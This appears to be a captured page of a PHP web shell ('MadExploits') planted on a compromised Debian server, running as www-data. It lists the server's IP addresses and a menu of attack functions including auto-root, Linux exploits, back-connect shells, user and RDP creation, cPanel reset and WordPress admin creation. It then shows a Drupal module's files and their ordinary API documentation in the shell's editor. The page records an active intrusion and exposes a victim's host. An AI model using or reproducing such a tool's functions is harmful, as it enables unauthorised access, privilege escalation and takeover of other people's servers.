Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.145.2.6
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
file /
[ HOME SHELL ]
Name
Size
Permission
Action
icons
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
file.api.php
1.89
KB
-rw-r--r--
file.css
572
B
-rw-r--r--
file.field.inc
35.03
KB
-rw-r--r--
file.info
274
B
-rw-r--r--
file.install
3.83
KB
-rw-r--r--
file.js
6.03
KB
-rw-r--r--
file.module
38.18
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : file.api.php
<?php /** * @file * Hooks for file module. */ /** * Control download access to files. * * The hook is typically implemented to limit access based on the entity the * file is referenced, e.g., only users with access to a node should be allowed * to download files attached to that node. * * @param array $file_item * The array of information about the file to check access for. * @param $entity_type * The type of $entity; for example, 'node' or 'user'. * @param $entity * The $entity to which $file is referenced. * * @return * TRUE is access should be allowed by this entity or FALSE if denied. Note * that denial may be overridden by another entity controller, making this * grant permissive rather than restrictive. * * @see hook_field_access(). */ function hook_file_download_access($file_item, $entity_type, $entity) { if ($entity_type == 'node') { return node_access('view', $entity); } } /** * Alter the access rules applied to a file download. * * Entities that implement file management set the access rules for their * individual files. Module may use this hook to create custom access rules * for file downloads. * * @see hook_file_download_access(). * * @param $grants * An array of grants gathered by hook_file_download_access(). The array is * keyed by the module that defines the entity type's access control; the * values are Boolean grant responses for each module. * @param array $file_item * The array of information about the file to alter access for. * @param $entity_type * The type of $entity; for example, 'node' or 'user'. * @param $entity * The $entity to which $file is referenced. */ function hook_file_download_access_alter(&$grants, $file_item, $entity_type, $entity) { // For our example module, we always enforce the rules set by node module. if (isset($grants['node'])) { $grants = array('node' => $grants['node']); } }
Close